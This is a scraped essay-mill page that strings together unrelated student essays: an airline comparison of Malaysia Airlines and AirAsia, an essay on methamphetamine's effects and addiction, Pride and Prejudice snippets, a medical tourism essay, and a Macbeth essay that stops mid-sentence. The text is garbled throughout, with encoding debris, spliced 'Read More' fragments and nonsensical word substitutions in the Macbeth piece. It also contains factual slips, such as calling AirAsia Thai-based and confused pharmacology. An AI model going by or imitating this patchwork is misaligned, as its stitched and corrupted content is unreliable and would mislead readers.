Malaysian Airline vs Airasia: An Analysis

Malaysian Airline vs Airasia: An Analysis Introduction 1.1.1 The first air service route is conducted between Penang and Singapore during the colonial of British and this led to the incorporation of Malaysia Airways Limited (MAL) in year 1937 by the British government. With the emergence of Malaysia in year 1963, the airline changed its name to Malaysian-Singapore Airlines then to Malaysia Airline Limited in year 1973 and eventually to Malaysia Airlines in year 1987. 1.1.2 AirAsia was set up in 1993 and started up its business on 18 November 1996. The founder of Airasia was a government-owned conglomerate DRB-Hicom. Airasia has incurred a lot of debt and liability at that time and former Time Warner executive Tony Fernandess company Tune Air Sdn Bhd decided to purchase Airasia based on market share price at time of RM1 on 2 December 2001. Mission and objectives Malaysia Airlines vision is to become An Airline of Excellence. Its mission is to become a consistently profitable growth airline through the strategy of business transformation plan and its objective is to flying to win customers and convert the airlines IT operations to deliver fantastic internal customer experience. The mission of Airasia is to form ASEAN brand of Airline Company that is widely known around the globe and to arrive at the lowest cost so that everyone can afford to fly with AirAsia. It also aims to keep its company on track with the latest industry developments and to incorporate excellence practices into their operations that will benefit their customers. The brands or products manufactured Malaysia Airlines Domestic benefits, international benefits, annual benefit travel insurance Malaysia Airlines management team has offer three product plan options: Basic Plan, Value Plan and Premier Plan for domestic traveler, overseas traveler, and frequent traveler. Frequent flyer program Malaysia Airlines has two frequent flyer programs: Grads for Students (Grads) and Enrich. Grads is a frequent flyer program with benefits designed for students whereas Enrich is specifically designed for frequent travelers especially businessman will enable them to gain privileges of obtaining discount or free flights when travelling around the world. Airasia 1.3.2.1 AirAsia Insure Travel Protection is exclusively designed to protect and insure the respective traveler during the duration of flying with Airasia. It comprises In-Flight Plan and Comprehensive Plan. In-Flight Plan was insurance program specifically designed for one-way journey passenger. However, Comprehensive Plan was devised for two-way journey passenger. Types of products Malaysia Airlines offered products such as travel insurance, air cargo services, international and domestic flight services, classes of cabin seats, MAS magazines, MAS souvenirs and value fare packages like Get-the-Deal, and Balik Kampung. Airasia is offering products such as Airasia courier services, Airasia souvenirs, Airasia credit card, Airasia self-produced magazines and Airasia cargo delivery service. Logo and tag-lines The appearance of the corporate logo is designed to be moon kite, with a sheared swept-back look. The word MALAYSIA is italicised to lean parallel with the logo to emphasize on speed as well as direction. The letters MAS bear red clippings in the font style to symbolize the initials of the statutory name of the airline, Malaysian Airline System (MAS). The introduction of blue to the original red to the moon kite logo has national meaning. Moreover, the red and blue divide equally in the middle has a sense of equilibrium. Moreover, the tag-line emphasizes that MH is more than just an airline code; in fact MH is Malaysian Hospitality. Airasia logo is Airasia in italicized form with the characters shaded by red color background whereas its tag-line is Now Everyone can fly. The red color logo is a strong message to the world about environmental problem. Current business development Type of business Topic Sentence: Both Airasia and Malaysia Airlines engaged in trading and services industry. Supporting detail 1: Malaysia Airline is a Malaysia-based company service whereas Airasia is a Thai-based company that engaged in air transportation and their related services. Supporting detail 2: They engaged in operation such as cargo and courier service, goods retailing as well as passenger carrier. Strategies Topic Sentences: In order to be competitive in the industry, Airasia has practised cost leadership strategies whilst Malaysia Airlines(MAS) involved in business transformation plan. Supporting detail 1: Airasia tend to focus on short route to a certain destination in order2 to reduce operating cost. Supporting detail 2: Business transformation program is competitive strategy used by MAS to fight over the big threat such as intense competition, rising cost of fuel in airline industry 2.3 Investor relations Topic Sentences: Airasia and Malaysia Airlines are public listed company traded on the main board of Kuala Lumpur Stock Exchange. Supporting detail 1: The stock of Airasia and Malaysia Airlines are ordinary shares offered to be transacted in primary market and secondary market. Supporting detail 2: Airasia recorded revenue of RM941 million year over year with a 26% growth while Malaysia Airline incurred an operating loss of RM 286 million in the second quarter of year 2010. Public relations Topic Sentence: Airasia launched AirasiaMegastore, an online shopping gateway for consumers while Malaysia Airlines established PINTAR visit mainly for students Supporting detail 1: Airasia Mega Store open 24 hours every day and it offers a wide variety of branded product at discounted price Supporting detail 2: MAS provide students with academic tour to Malaysia Airlines and tourist spot in Kuala Lumpur and Putrajaya because they are concerned about the academic progress of students in Malaysia. 3.0 Marketing strategies. 3.1They market their product by using different strategies in order to gain competitive advantage in the markets. 3.1.1 They use market segmentation strategy to split out the market they want to serve. For example, Air Asia segments the market with different income groups and serves the low income group. However, MAS serve the high income group initially, but because of the emerging of Air Asia, it also moves into serving the low income group of customers. 3.1.2 In order to serve the market they have targeted, they positioned themselves differently to gain a different brand image in the mind of customers. Air Asia is using price or quality positioning strategy. On the other hand, MAS tend to use product class positioning at first, but it changes to a mix positioning strategy of price or quality and product class. 3.2 They compete with their competitors with 4P strategies which are commonly applied in marketing. 3.2.1 They use different price strategies that reflect their positioning strategy and price objective to compete in the market. Air Asia is using everyday low price strategy and trying to compete in Blue Ocean. However, MAS use prestige pricing strategy at first, after then which it change to mixed pricing strategies included meeting competitors pricing. 3.2.2 They use different product strategies, so that they can provide different kind of services to compete. Air Asia provides non-frills services in order to keep the cost as low as possible. While MAS provides excellent and luxury services at first, after which it also come out with low price product to compete with its competitors. 3.2.3 They use different promotion strategies to fight against their competitors promotion strategies. Both come out with a variety of special promotions to attract customers. For example, MAS come out RM 1 for ticket to compete with free seat of Air Asia and sometime the fare of MAS is even lower than Air Asia. 3.3 Advertising methods have played an important role to attract the attention and perform the function of informing, persuading and reminding the customers. 3.3.1 They are involved in different advertising channel like television, newspaper, MATTA fair, sponsorship, internet, radio and even performing social corporate responsibility to grab the public attention. 4.0 Conclusion 4.1 The unpredictable changing environment and fierce competition are challenging their company stability. 4.1.1 The increase of fuel price globally has challenged their ability to control the operating cost. Both companies performance was also seriously affected. 4.1.2The management of resources has to be managed effectively and efficiently to remain agile in the market. Air Asia has to control the punctuality index and customer services which were resulted from the behavior of over save cost. In contrast, MAS has to control its behavior of being uneconomical. 4.2 Recently, both of them have developed so well to proceed to their vision, mission and objective. 4.2.1 They have made a lot of improvement on customer services standard to please their beloved customer. Air Asia has adopted complex information system such as state-of-the-art booking system to process various booking. At the same time, MAS has also invested few hundred millions on passenger service system to shorten and provide faster services. 4.2.2 They have expanded their service world-wide in order to provide more choices to customer. Air Asia has joined VietJet airline from Vietnam, and Jestar airline from Australia to expand their routes. However, it also involves in other business, like hotel sector, online purchase and so on. MAS also expand their routes to more area, and involve in online shopping. 4.2.3 They have performed corporate social responsibility to contribute to the society. Air Asia has supported MERCY Malaysias relief mission in Padang, Indonesia whereas MAS has put effort to reduce the carbon dioxide emission to promote a greener environment. 4.3 They are continuing their effort to achieve their vision and promise to do better! 4.3.1 Both companies do not reveal any specify future plan about 2011. But by referring to previous ongoing plans, we tend to know fairly how and where these two companies will move in their future plan. MAS will continue their steps of business transformation plans 2 in this case, such as maintaining 5 stars quality of services and low cost, attracting more customers, building up the network and capacity through service providing. In the future, Air Asia will provide more low cost journey and increase the regularity of fly. It will also continuously keep the cost as low as possible and enable more people to fly! Prepared by: Betty Yong Siew Ning (0902327) Wong Chin Hong (0902068)

Effects of Methamphetamine on the Human Body What Cases Have Been Seen to Prove this and How It Leads To Addiction Essay

Effects of Methamphetamine on the Human Body What Cases Have Been Seen to Prove this and How It Leads To Addiction Introduction Part A                   What effects does the over dependency to methamphetamine cause to the human body.                   Are there any cases that have been reported to prove this and if yes which ones are they? Methamphetamine is a powerful, highly addictive stimulant that is a bitter tasting white crystalline powder devoid of smell. In street language it is popularly known                   as ice, chalk, crystal or meth with high solubility in water and alcohol making it an easy target for packaging into various forms. Methamphetamine affects the central nervous system and once it is in the body system, it creates a short but intense rush and users start experiencing a sense of increased activity, decreased appetite, and strong feelings of well being, high energy levels and sense of more power with the feeling lasting from a period of 20 minutes to 12 hours. When the effects start to where off, the user is left with a feeling of drained helplessness and depression this effects leads to the user having a high craving for the drug to maintain the state of euphoria. This craving for a sense of well being, hyper activity sense of power is what leads to addiction. Addiction to meth amphetamine has to a large extent been classified as a moral issue by the public while to medical practitioners it has also gained weight as a medical issue.                   Methamphetamine causes development of side effects which are increased activity, euphoria and decreased appetite with methamphetamine being more potent because it passes through the blood brain barrier and enters the brain cells. The effects are more long lasting making it more dangerous on the central nervous system. It has been reported to have effects lasting as long as eight hours. This inquiry will focus mostly on the scientific research that has been carried out on methamphetamine addiction, its side effects and how it causes them and any remedies. Part B                   By the end of this learning process, the following objectives should be met. Reasons that lead to use of methamphetamine should be clearly understood. The various side effects should be well outlined and possible causes explained. Mechanisms involved and leading to methamphetamine addiction should be comprehended.                   Medically methamphetamine was developed for the treatment of nasal blockages and clearance of bronchioles in the lungs. Lately it has been used in low dosages for the treatment of attention deficit hyperactivity disorder and also in weight loss programmes but in a controlled manner and prescriptions is usually not refilled.                   Effects of methamphetamine vary and they mostly depend on the dosage type. For small doses, the drug causes strong and quick addiction, lack of sleep, increased blood pressure, pulses and respiration with decreased reaction times. This effects leads to a desire for more and in large doses, it causes convulsions, overheating of the body, and in more severe cases stroke and even heart attacks. The side effects are grouped into the following major categories (Methamphetamine in Jefferson County, 2008 p 3). Physical effects                   The most noticeable are muscle weakness, tremors and seizures dental decay, weight loss, anorexia, coughing, dry mouth , facial aging, brain damage kidney, heart and liver damage, skin sores and infection and also increased risk of stroke. Cognitive effects:                   This effects lead to decreased ability to recognize and recall words and pictures, make inferences manipulate information, learn from experience and users have the tendency to ignore irrelevant information Psychological effects:                   These effects are classified into two depending on the duration for short term effects; users experience increased sense of euphoria, high confidence and increased alertness. The users become more talkative, they are not bored easily and have an increased sex drive.                   Increased confidence Increased alertness Increased good mood Increased. Long term effects include increased aggression, lack of sleep; they become over anxious and are confused most of the time. Meth users become moody and they develop psychotic behaviours characterized by false delusions, they become paranoid and become suicidal.                   When ingested by pregnant women, the methamphetamine dissolves in the blood stream and is able to pass through to the fetus. The effects on the unborn children are diverse and so serious since they affect the normal development of the child. The most common effects are premature child birth and low birth rates for long time users, low birth weight since the mother does not eat enough food due to poor appetite and in most severe cases brain damage. Nutritionally, the baby is disadvantaged since the mother does not care a lot apart from craving for the next fix. Mechanisms leading to methamphetamine addiction                   Addiction to methamphetamine is caused by the drug’s pharmacology mainly how it is ingested, absorbed in the body, broken in the body and excreted (Otero et al., 2006 p. 4). The pharmacology of the drug is quite a complex process which involves the peripheral and central nervous actions. The drug belongs to the group of drugs known as amphetamines with a structure closely related to that of epinephrine norepinephrine and dopamine (Kish, 2008 p. 2).                   Due to its structure which is close to that endogenous neurotransmitters the drug is classified as a sympathomimetic drug and as such it interacts with sympathetic receptors of the central nervous system. Specifically, methamphetamine interacts with pre-synaptic receptors and induces effects by competitive antagonisms.                   There are different modes of methamphetamine usage and they determine how long the effects take to kick in and also increase the chances and easiness of addiction. When ingested the effects may take up to twenty minutes to be effected while I snorting the effects set in much quicker as fast as five minutes. The two routes of usage are not so much addictive. Highest rates of addiction have been reported when the route of intake was intravenous injection and lung inhalation through smoking. These last two routes potentiate risk of addiction since the drug is absorbed more rapidly in the brain. Effect on the central nervous system                   The amphetamines potent central nervous system appear as a result of the release of biogenic amines from the nerve terminals. This enhanced release of norepinephrine results in the anorexia effect of amphetamine and together with release of dopamine it creates a feeling of euphoria. When higher levels of dopamine are released to the mesolimbic system, it results in increased levels of serotonin which is responsible for mental disturbances and the psychotic behaviours.                   When the high dose of reaches the brain, it leads to a decrease in the levels of dopamine and serotonin and this is achieved through the activity reduction of the enzymes used in their synthesis mainly tyrosine dehydroxylase and tryptophan hydroxylase respectively. The following table shows a list of websites that were visited for the purpose of this research Title of report Website Retrival date Medication and behavioral treatments (2004) www.psattc.org11-11-2014 Children at clandestine methamphetamine labs: Helping meth’s youngest Victims(2006) www.ojp.usdoj.gov10-11-2014 NIDA Community Drug Alert Bulletin: Methamphetamine (n.d.). www.drugabuse.gov10-11-2014 Methamphetamine – Drug Facts 2005 www.whitehousedrugpolicy.gov11-11-2014 Parenting Children Who Have Been Exposed to Methamphetamine (n.d) www.orparc.org10-11-2014 The sites used for this study are from various government departments, and organizations that carry out various health and substances abuse researches. From the websites, they end with either gov. or org. meaning they are reputable websites. Hence, the information obtained from these websites is also reliable and thus they were considered for this paper. In addition, the sources have evidenced based reports where quantitative or qualitative research were used to write the reports thus making the data included in this paper very reliable and viable. Part C Data from various website sources on methamphetamine and journals published online was used to come up with this report. Table showing the various side effects for methamphetamine users Physical effects Cognitive side effects Short term psychological effects Long term psychological effects Weight loss Failure to recall pictures Increased good mood Mood disorders Kidney and heart damage Failure to learn from experience Increased alertness Lack of sleep and increased anxiousness Increased risk of stroke Decreased ability to make inferences Increased talkativeness Confusion and aggression Skin sores and infections Decreased ability to manipulate information Increased confidence Increases psychotic behaviour Tooth decay Increased sex drive Hallucinations and increased suicidal tendencies Increased transmission of HIV due to sharing injecting needles Table showing usage of methamphetamine in terms of age (a 2003 survey on methamphetamine users among college going children and non-college attending children obtained from NSDH, 2005). Ages/ grades Used at least once Used in the past year Used in the last 30 days College students 5.8% 2.6% 0.6% Young adults(19-28) 8.9% 2.7% 0.7% Table showing use of methamphetamine in USA (NSDH, 2005 n.p) Used at least once Used in the past year Used in the last 30 days 12+ YEARS 4.9% 0.6% 0.2% Table showing use of methamphetamine in school going children (NSDH, 2005 n.p) Grade Used at least once) Used in the past year Used in the last 30 days 8th 2.5% 1.5% 0.6% 10th 5.3% 3.0% 1.3% 12th 6.2% 3.4% 1.4% Part D                   Comprehensive data obtained from various government and non-governmental websites, show that methamphetamine abuse cuts across all ages and social classes with the high-risk groups being people with low self-esteem, social pressure such as weight loss to gain an athletic or modeling body, depression, and those traumatised. While continued abuse leads to addiction, amount and ingestion routes are also determinants with smoking and injection contributing greatly to addiction. Though used medically for nasal and bronchial blockages, its abuse is the main concern due to the resulting side effects and the damages it causes. Journal                   Methamphetamine side effects are as a result of it passing through the brain blood barrier into the brain cells, where its main action is to decrease extracellular monoamine neurotransmitters, especially dopamine, via interfering with their reuptake and promoting their release at the nerve endings (Fleckenstein, et al., 2007 p. 687). Dependency on methamphetamine is a serious issue with major medical, psychiatric and social economic impacts in the society (Lapworth, et al., 2009 p. 383). Withdrawal from methamphetamine also results in impaired social functioning, fatigue and aggressiveness and more craving for the drug. This menace affects most people and users should not be alienated but helped to overcome the vice by taking them to rehabilitation centres.                   While it has been used medically to solve medical conditions such as nasal and bronchial blockages, it misuse is the main problem. Methamphetamine abuse cuts across all ages and social classes with the main contributing factors being low self-esteem, peer pressure, social pressure, depressions and even people suffering from traumas. The resulting side effects vary from person to person but prolonged abuse results to both physical defects such as tooth decay, weak limbs due to poor appetite, damages of organs especially the heart, kidney and liver and also psychological effects. The psychological effects are usually aggressive behaviors which endangers their lives and of those around them and psychotic behaviors which leads them in committing suicide. References Fleckenstein A., E., Volz, T., J., Riddle, E., L., Gibb, J., W., and Hanson, G., R. 2007. New insights into the mechanism of action of amphetamines. Journal of Annual Review in Pharmacology and Toxicology. 47: 681–698. Kish, S., J. 2008.Pharmacologic mechanisms of crystal Methamphetamine. Journal of Canadian Medical Association, 178 (13):1679-1682. Lapworth, K., Dawe, S., Davis, P., Kavanagh, D., Young, R., Saunders, J. 2009. Impulsivity and positive psychotic symptoms influence hostility in methamphetamine users. Journal of Addictive Behaviours ,34: 380–385 Methamphetamine in Jefferson County. 2008. Methamphetamine in Jefferson County. Understanding the Impact of Methamphetamine Abuse: Issue Paper and Recommendations NIDA Community Drug Alert Bulletin. n.d. Methamphetamine. www.drugabuse.gov. Office of National Drug Control Policy. 2005. Methamphetamine. www.whitehousedrugpolicy.gov. Otero, C., Boles, S., Young, N. K., & Dennis, K., 2006. Methamphetamine Addiction, Treatment, and Outcomes: Implications for Child Welfare Workers. Substance Abuse and Mental Health Services Administration Center for Substance Abuse Treatment Substance abuse department. 2008. National Survey of Drug Use and Health: National Findings. Substance Abuse and Mental Health Services Administration. US Department of Justice. 2004. Children at Clandestine Methamphetamine Laboratories. www.ojp.usdoj.gov. Source document

Attitude of Young People of India Towards Luxury Brands

Minor Project Synopsis On â€Å"Attitude of Young people of India towards Luxury Brands† Introduction: A couple of generations ago, a typical purchase decision for the average Indian would be choosing between, say, clothes and electronic goods whenever they had a little cash to spare. Today, the customers’ dilemma involves making up their mind between Prada and Gucci, Merc and Lamborghini. Marie Antoinette would say, â€Å"If they can’t have bread, give them brands instead!† In a relatively short time span of 20 years, India has moved from pavement markets to swanky malls, from frugal minded consumer to who want it all and from a population largely obessed with celebrity gossip to one which yearns to gain knowledge. India is taking†¦show more content†¦3. LUXURY’S NEW DESTINATION – CHANGING PARADIGMS OF THE INDIAN CONSUMERS – AN EMPIRICAL STUDY * DR. BUSHAN D. SUDHAKAR*; ARUN KUMAR. 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Anorexia Nervos A Slow Killer - 1827 Words

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Pride And Prejudice By Jane Austen - 1311 Words

Pride and Prejudice, a novel written by Jane Austen, is a story of overcoming pride and prejudices. The story takes place in Longbourn, where the Bennet family and their five girls live on their rented estate. Mrs.Bennet is obsessed to get her daughters to marry rich, as they are all still single. Their financial status is poor, placing them into a lower social class. Mrs.Bennet heard news of a single, wealthy man, Mr.Bingley, moving into a estate just three miles away from them and begged that her husband would go call on him, which he refused but secretly did anyway, to his wife s pleasure. There was a ball where they were to attend, and Mr.Bingley would be attending too, along with his two sisters, one of his sisters husband, and his friend, Mr.Darcy. Mr.Darcy was immediately named handsome, but proud and didn’t care to dance with anyone. Mr.Bingley, on the other hand, danced and was joyful. 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Austen often references the class system at the ti me, often noting one of the multiple heroine’s struggleRead MorePride And Prejudice By Jane Austen914 Words   |  4 Pages Bell 1 Natalie Bell Pedersen English 4 honors 29 February 2016 Pride and Prejudice Essay Jane Austen s novel, Pride and Prejudice, focuses on the social conflicts of England during the 1800s. Elizabeth Bennet and Mr. Darcy fall in love, and face social criticism. Mr. Darcy struggles with the ideology of societal expectations while falling in love with Elizabeth Bennet. After persistent self-reflection, Mr. Darcy overcomes the stereotype of whom he should marry, and marries ElizabethRead More Pride and Prejudice by Jane Austen 1104 Words   |  5 Pagesrate of over 50% from 1970-2010. However, during the eighteenth and nineteenth centuries, marriage was often one of the few choices for a woman’s occupation. Reading Pride and Prejudice by Jane Austen from the twenty-first century perspective might make some matters that are stressed in the book seem dated or trivial. As Pride and Prejudice was set sometime during the Napoleonic Wars, it is only fitting that finding a proper marriage is on the minds of many of the women in the book. Marriage and marryingRead Mo rePride And Prejudice By Jane Austen1732 Words   |  7 PagesIn Pride and Prejudice, the first marriage presented is that of Mr. and Mrs. Bennet. Being the parents of five daughters, the Bennet s marriage set the example for their children yet their relationship did not constitute true love, but more of mutual tolerance. Mrs. Bennet, an obnoxious women with an erratic temper, symbolizes society’s obsession with material wealth and social standing. As Jane Austen states when describing Mrs. Bennet, â€Å"The business of her Vanek 7 life was to get her daughtersRead MorePride And Prejudice By Jane Austen1384 Words   |  6 PagesNicole Voyatzis Professor W. Acres HISTORY 1401E May 26, 2015 Discussion Paper - Pride and Prejudice Pride and Prejudice written in 1813 by Jane Austen tells the story of The Bennet’s and their five unmarried daughters. The family live as part of the lower gentry in early 19th century England. With that being said, Mrs. Bennet’s primary focus in life is to ensure that all her daughters are married, preferably to wealthy men. The book begins with Mrs. Bennet seeing an opportunity for her daughtersRead MorePride And Prejudice By Jane Austen1570 Words   |  7 PagesThe comical novel Pride and Prejudice by Jane Austen depicts the love life of women in the early 1800’s. Austen shows the hardships young women in that time period had to go threw to find their place in this world. Women were thought of as objects to the men, they were supposed to be stay at home mothers, or simple just a accessory to their partner. Women were the subordinates in life, as they still are today. Austen tells the story of how Mrs. Bennet (a mother of 5) works tirelessly to get her daughte rs

Service Cycle of Medical Tourism in India Free Essays

One of the major practices in healthcare is the process of ‘patient outsourcing’, in the form of medical tourism or ‘Medical travel’. This form of business protocol is becoming hugely popular in the developed countries of the world, as it has tremendous benefits.   Medical tourism is a deliberate effort to combine health issues along with travel for tourism and leisure (Health Base, 2006, Recover Discover, 2007). We will write a custom essay sample on Service Cycle of Medical Tourism in India or any similar topic only for you Order Now Several organizations may be involved in the process of medical tourism including:- The governments – They are responsible for framing a policy that would ensure regulated flow of tourists from one part of the globe to another to enable effective healthcare provision.   Besides, it would also ensure that the tourists can obtain valid travel documents easily. Hospital Associations – Associations founded between the hospitals of the tourist and the destination country are required to communicate with each other so as to help in the flow of medical tourists.   This is to ensure that all ethical and legal issues are addressed, and an effective marketing communication system can exist. It would be ideal for the patient to first speak to his/her usual healthcare provider before seeking medical facilities in another nation.   Hospitals in the west can also consider recognizing and providing accreditation for hospitals in developing nations, so that the quality standards prevailing is well-understood. Travel authorities – They are the authorities who are providing valid travel documents and permission required to enable medical treatment in another nation.   The authorities should understand the need and urgency for medical treatment and hence would have to permit such travel. Travel agencies – They would have to communicate with other parties in the destination to ensure that the health and travel needs of the tourist is meet, keeping in mind quality, cost-effectiveness and hassle-free processes. The travel agency would have to provide the travelers with customized packages that are cost-effective and seem attractive.   They would also have to market the health packages in the West, to demonstrate clear advantages to the ones existing at home. Ministry of Commerce and trade (Hutchinson, 2005, Heatlhbase, 2006 American University, 2003). Through the process of globalization, many countries are beginning to closely review their economic strengths and risks.   If something is costly in one nation, immediately the resources present in other nations would be approached and utilized. In medical tourism, the individual would be using cost-effective options in order to fulfill their healthcare needs in areas where the limitations may be less.   These limitations can be several and can be utilized to the advantage of the individual.   Some of the limitations which can be met through medical tourism include:- Going from one nation where certain types of treatment are not available, to another where treatment is available.  Ã‚   Going from one country to another, where the quality of treatment is better, improved technology and where expertise in health is available, and innovative options are present Going from one country to another where treatment is provided in a more cost-effective manner Going from one nation to another where medical treatment including surgery is provided in a more timely manner (to reduce the waiting periods for elective surgeries) Including the family members and seeking treatment away from home where the usual stressful factors would not be felt (Hutchinson, 2005, Heatlhbase, 2006 American University, 2003) Medical tourisms can take place from one nation to another and from one region of a nation to another region within the same nation. The trend today is that many people from the western or developing nations (which have a very restrictive health setup) are moving to the east, where the practices and policies do favor provision of several benefits in healthcare. There are many unique features of the prospects of medical tourism:- The nations which serve as a market for medical tourisms are providing several attractive policies and practices They are using vary attractive marketing strategies to encourage business – An example of this would be to combine medical health visits with holidays to exotic tourist destinations.   Many people from the developed nations are finding such packages very attractive and are considering them as they are not only cheaper but also meet their customized needs, conveniently. The developing nations such as Thailand, India, Latin America and China, are offering more holistic kind of treatment and are providing several complementary and alternative treatments that deviate away from allopathic medicine.   Many of these treatments have proven to be effective.   Besides, the treatment facilities are provided in more natural kinds of environment, thus encouraging better healing and recovery (Hutchinson, 2005, Heatlhbase, 2006 American University, 2003). Medical tourism can be held for various reasons including health and wellness tourism, reproductive purposes, alternative treatment strategies, preventive medical care, spa tourism, surgical tourism, dental tourism, diet and nutrition tourism, transplant tourism, cosmetic tourism, spiritual tourism or even for end-of-life purposes. Often the individual requiring health treatment would also like to include their family members in the process.   They would also like to take their family members along.   People also want to visit resorts and spas to get away from the usual humdrum.   Several theoretical frameworks have been proposed for Medical Tourism:- Consumer Motivation – Consumers may find the health packages offered at the destination nations cost-effective, of better quality and would also combining their travel needs Medical tourist motivation – Some people prefer traveling and getting treatment done in a foreign nation, away from home Push-pull motivation – This has been one of the most explanation to justify medical tourism. The pull factors are usually contributed to the attractiveness of the market and the various marketing strategies that have been employed.   The pull factors are tangible and are attributed by the destination.   The push factors are intangible and may need a lot of explanation.   Some of the push factors include:-  ·Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Fulfilling travel needs  ·Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Preferences for certain destinations  ·Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Travelers often have the intention of traveling for whatever need, even if a such a need can be fulfilled at home (Hongnaphadol, 2008) India has been one of the success stories of medical tourism in the world.   Thousands of tourists from various parts of the World including the US, UK, Australia, Middle East, European Union, etc, visit India every year for medical and surgical treatment.   India is also one of the sought out destinations for alternative forms of treatment including Yoga, Ayurveda, herbal medicine, massage therapy, etc. Effective collaborations between the tourism industry and the healthcare industry have existed in India to enable medical tourism to be a success.   This has been an initiative from both, private and public parties.   India has several other characteristics that have permitted medical tourism to prevail:- Rich culture and tradition – favoring tourism Natural characteristics of the country Traditional systems of medicine – which seem to be very attractive for the West Cultural competence of the professionals existing in India Low waiting time Cost-effective treatment Good quality of medical care Pre-existing tourist destination Effective collaboration with organizations in the US/UK which would enable movement of tourists Easy currency conversion processes Good quality of education prevailing in India – Academic organizations are able to meet with the requirements of the healthcare industry Connectivity with international airports Good technology utilized in healthcare (Recover Discover, 2007). The service cycle of the medical tourism process and is an experience for the customer.   It starts even before the consumer meets the service provider to obtain an effective medical tourism package that would meet his/her travel and health needs. The process starts when the consumer understands that there is an unfulfilled health need which has to be met.   The process would go on and the several steps present including (as fulfilling health need is not a single transaction and involves several processes):- Meeting with the service provider Discussing an effective package that would meet their needs (the package would include several aspects including air and travel costs, hotel stay, food, consultation charges, investigation costs, treatment and surgical charges, medications costs, holiday packages, etc). The customer should be provided with a number of options and choice of destinations.   Negotiations should also be permitted. Purchasing the health/travel package Preparing to enter in the package Starting with the travel Entering and experiencing the destination country Getting used to the destination country Meeting the healthcare provider and ensuring that the electronic health records are received – the healthcare professionals should take an adequate history of the patient and should also conduct adequate diagnostic tests. Identifying the health problems and developing a plan to solve these problems Presenting the plan to the patient and taking the consent Initiating the treatment plan – May include several visits; The pre-treatment period may include several precautions, restrictions in diet, lifestyle, medications, travel, etc Post-treatment period – Taking adequate precautions regarding diet, lifestyle, exercise, rest, medications, etc.   The patient should be adequately informed of these so that they may be comfortable. Follow-up visits – Any additional treatment Advise or consultations before the patient goes back to the home nation Fulfilling any other travel needs Returning back home Contact with the healthcare providers through telephone, e-mail, chat services, etc (Health Base, 2006, Wachovia, 2008, Monash University, 2004). The process may not be complete once the patient returns home.   This is because fulfilling health needs is a continuous process and the requirements are never ending.   At each of the steps, the customer would be having certain expectations.   The quality standards of the service are usually determined by the ability to fulfill the customer’s expectations and to meet as to what was promised in the initial package (contract).   Some of the expectations of the consumers include:- Having a high quality travel package which is cost-effective Finding the destination country comfortable and relaxing Getting used to the destination quickly Developing rapport with the new healthcare professionals and the healthcare system – Ability to clear all doubts and queries. The patient should be assured about the quality standards of the organization and the qualifications of the healthcare professionals. Preferable a standard prevailing at the home nation should be sought.   It is also important that the processes existing in the hospital should be similar to that of the home nation.   The healthcare system prevailing should be culturally competent to that of the tourists. Able to meet with the precautions and advise from the healthcare professionals easily Undergoing the treatment processes without much complications, side-effects and negative events Resolving any problem the patient has during the treatment processes Enjoying the benefits of treatment Ability to contact the healthcare provider and fulfilling any problem (Health Base, 2006, Wachovia, 2008,) References: American University (2003). Globalization and Medical Tourism, Retrieved on August 15, 2008, from American University of Delaware Website: http://www.american.edu/ted/medical-tourism.htm Health base (2006). Medical Tourism FAQs, Retrieved on August 15, 2008, from Health Base Website: https://www.healthbase.com/hb/pages/medical-tourism-faq.jsp#1 Hongnaphadol, W. N. (2008). Medical Tourism, Retrieved on August 15, 2008, from Leeds University Website: www.leedsmet.ac.uk/research/W_Hognaphado-pm_1.pp Hutchinson, B. (2005). Medical tourism growing worldwide, Retrieved on August 15, 2008, from University of Delaware Website: http://www.udel.edu/PR/UDaily/2005/mar/tourism072505.html Monash University (2004). The Cycle of Service, Retrieved on August 15, 2008, from Monash University Website: http://www.adm.monash.edu.au/cheq/support-services/cycle-service.html Recover Discover (2007). Medical Tourism – Medical Tourism India – Healthcare Tourism, Retrieved on August 15, 2008, from Recover Discover Website: http://www.recoverdiscover.com/ Wachovia Corporation (2008). The Cycle Of Service – How To See Things from the Customer’s Point of View, Retrieved on August 15, 2008, from Wachovia Corporation Website: http://www.wachovia.com/small_biz/page/0,,447_972_1697_1994_2016,00.html How to cite Service Cycle of Medical Tourism in India, Papers

Lost Values Macbeth Essay Research Paper Lost free essay sample

Lost Valuess ( Macbeth ) Essay, Research Paper Lost Valuess ( Macbeth ) Life can be viewed as a route that branches into two waies: success and failure. Different people have different positions on the significances of success and failure. Some may mention success as holding limitless sum of money, while others may see it as holding a happy household. Peoples with aspiration will ever endeavor for success. However, on the long route, positions may alter, which may ensue in happening new values and ends that one truly believes in. In other cases, many that grasp success do non prize it. When many eventually lose it, the memories of success ever recur in their heads, tormenting them each clip they recall it. Peoples merely detect how much they value something when they lose it. Everyone tried to walk towards success. Macbeth one time indicated, Could trap up the effect, and gimmick, With his cessation, success. ( Macbeth ) Macbeth # 8217 ; s aspiration for success directs him toward the slaying of Duncan. Many will make anything in order to make success. Some will rip off on others, betray others, and some will kill others. In the short narrative Champions, the storyteller and Donnie kicked their oppositions in association football games in order to win. In many real-life state of affairss, people frequently cheat in order to make success. Professional athleticss participants frequently eat steroids to speed up their physical abilities. This besides causes treachery to the other participants, and those who have faith in the participant for triumph. In the narrative The Metaphor, Charlotte betrays Miss Hancock whom has trusts Charlotte to be able to understand her. However, Charlotte, who wants to be successful in the relationships with her equals, does non desire to destroy the relationships, hence dejecting the instructor even more. This finally leads to the accident that Miss Hancock gets in. She wa s killed. Although this is non an intended decease that Charlotte causes, but it shows that how one can make success with the assistance of these three points. Macbeth is the most disposed illustration that fits all these standards in achieving success. In the drama Macbeth, Macbeth darnels by allowing the enchantresss foresee his hereafter, giving him an advantage over others. In add-on, he betrays Duncan # 8217 ; s steadfast trust toward him. Duncan believes that Macbeth is loyal and baronial general, but Duncan shortly finds out that he had judged Macbeth fatally incorrect. Duncan was killed by Macbeth. Macbeth besides killed many others. In order to procure his kingship, he tries to kill both Banquo and Fleance. It is after Macbeth receives his kingship that he finds emphasis and force per unit area around him. As when the enchantresss chant: Fair is disgusting, and foul is just. Hover through the fog and foul air. ( Macbeth ) / gt ; What seems to be right may non be right one time person experienced it. Macbeth eventually experiences what he longs for # 8211 ; kingship. However, being the male monarch does non give him the pleasance he wants, but merely fear every dark. After Macbeth has been king, his positions may hold changed, and what he truly wants may non really be kingship. In the poem D-day Minus, a stanza says: You will be 